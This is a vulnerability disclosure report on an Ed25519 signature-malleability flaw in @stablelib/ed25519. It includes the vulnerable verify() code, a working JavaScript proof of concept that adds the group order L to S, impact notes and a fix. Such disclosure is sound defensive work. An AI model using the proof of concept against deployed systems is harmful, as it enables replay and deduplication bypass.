Ed25519 Signature Malleability via Missing S < L Check – Same Class as node-forge CVE-2026-33895 (CWE-347)

Target

• Repository: StableLib/stablelib (package: @stablelib/ed25519)
• Platform: GitHub PVR
• Bounty: CVE credit
• CWE: CWE-347 (Improper Verification of Cryptographic Signature)
• Version: 2.0.2 (latest, 2026-03-28)

Root Cause

The verify() function in @stablelib/ed25519 does not check that the S component of the signature is less than the group order L. Per CFRG recommendations and the ZIP-215 specification, Ed25519 implementations should reject signatures where S >= L to prevent signature malleability.

When S >= L, [S]B = [(S mod L)]B = [(S - L)]B, meaning two different 32-byte S values produce the same verification result. An attacker who observes a valid signature (R, S) can produce a second valid signature (R, S + L) for the same message.

Vulnerable code

File: packages/ed25519/ed25519.ts (compiled: lib/ed25519.js:779-802)

export function verify(publicKey, message, signature) {
    // ... length check, unpack public key ...
    const hs = new SHA512();
    hs.update(signature.subarray(0, 32));   // R
    hs.update(publicKey);                   // A
    hs.update(message);                     // M
    const h = hs.digest();
    reduce(h);                              // h is reduced mod L
    scalarmult(p, q, h);                    // [h](-A)
    scalarbase(q, signature.subarray(32));  // [S]B -- S NOT checked or reduced
    edadd(p, q);
    pack(t, p);
    if (verify32(signature, t)) {           // compare R
        return false;
    }
    return true;
}

Note that h is properly reduce()d (line 794), but S (signature bytes 32-63) is passed directly to scalarbase() without any range check.

Proof of Concept

const ed = require('@stablelib/ed25519');

const kp = ed.generateKeyPair();
const msg = new TextEncoder().encode("Hello, world!");
const sig = ed.sign(kp.secretKey, msg);

console.log("Original valid:", ed.verify(kp.publicKey, msg, sig)); // true

// Ed25519 group order L
const L = [
  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
];

// Add L to S component to create malleable signature
const malSig = new Uint8Array(64);
malSig.set(sig.subarray(0, 32)); // R unchanged
let carry = 0;
for (let i = 0; i < 32; i++) {
  const sum = sig[32 + i] + L[i] + carry;
  malSig[32 + i] = sum & 0xff;
  carry = sum >> 8;
}

console.log("Malleable valid:", ed.verify(kp.publicKey, msg, malSig)); // true
console.log("Sigs differ:", !sig.every((b, i) => b === malSig[i]));    // true

Output:

Original valid: true
Malleable valid: true
Sigs differ: true

Impact

• Signature malleability: Given any valid signature, an attacker can produce a second distinct valid signature for the same message without knowing the private key
• Transaction ID collision: Applications using signature bytes as unique identifiers (e.g., blockchain transaction IDs) are vulnerable to replay/double-spend attacks
• Deduplication bypass: Systems deduplicating by signature value accept the same message twice with different "signatures"
• Same vulnerability class as node-forge CVE-2026-33895 (GHSA-q67f-28xg-22rw), rated HIGH

Suggested Fix

Add an S < L check before processing the signature:

// L in little-endian
const L = new Uint8Array([
  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
]);

function scalarLessThanL(s) {
  for (let i = 31; i >= 0; i--) {
    if (s[i] < L[i]) return true;
    if (s[i] > L[i]) return false;
  }
  return false; // equal to L, reject
}

export function verify(publicKey, message, signature) {
    // ... existing checks ...
    if (!scalarLessThanL(signature.subarray(32))) {
        return false; // S >= L, reject
    }
    // ... rest of verify ...
}

Self-Review

• Is this by-design? No explicit documentation suggests malleability is intended. The library is described as implementing "Ed25519 public-key signature (EdDSA with Curve25519)" with no caveat about malleability.
• Is RFC 8032 strict about this? No. RFC 8032 does not require S < L. However, the CFRG recommends it, ZIP-215 requires it, and the node-forge advisory (CVE-2026-33895) treats the identical issue as HIGH severity.
• Is this already reported? No. No existing issues or CVEs for @stablelib/ed25519 regarding malleability or S < L.
• Honest weaknesses: (1) RFC 8032 does not strictly require S < L. (2) Not all applications are affected – only those depending on signature uniqueness. (3) This is malleability, not forgery – the attacker cannot sign new messages. (4) tweetnacl has the same issue and considers it a known limitation.
• CVSS: Medium (5.3). AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N – can produce alternate valid signatures, limited integrity impact.

Solution

Upgrade to version 2.1.0.